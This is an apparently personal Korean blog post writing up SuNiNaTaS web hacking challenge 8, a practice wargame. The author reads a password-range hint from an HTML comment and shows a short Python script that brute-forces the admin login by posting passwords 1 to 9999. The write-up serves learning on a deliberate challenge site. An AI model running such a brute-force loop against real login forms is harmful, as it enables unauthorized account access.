Study/Web Hacking
[suninatas] Game 08
haesa_s
2022. 5. 24. 21:30
문제: http://suninatas.com/challenge/web08/web08.asp
로그인 폼이 하나있다. Password Incorrect!라고 되어 있는데 왠지 password를 구해야 하는 문제 같다.
개발자 도구를 열어보면 주석에 힌트가 숨겨져 있는 것을 볼 수 있다.
예상대로 admin의 password를 찾아서 로그인해야 하는 문제다.
주석에 친절하게도 비밀번호의 범위를 보여주고 있다.
여기서 브루트 포스로 해결할 수 있는 문제라는 것을 알 수 있다.
코드를 작성해서 password를 구했다.
import requests
url = "http://suninatas.com/challenge/web08/web08.asp"
data = {"id": "admin"}
for i in range(1, 10000):
data["pw"] = str(i)
r = requests.post(url, data=data)
if r.text.find("Password Incorrect!") == -1:
print("Password :", i)
break;
print(i)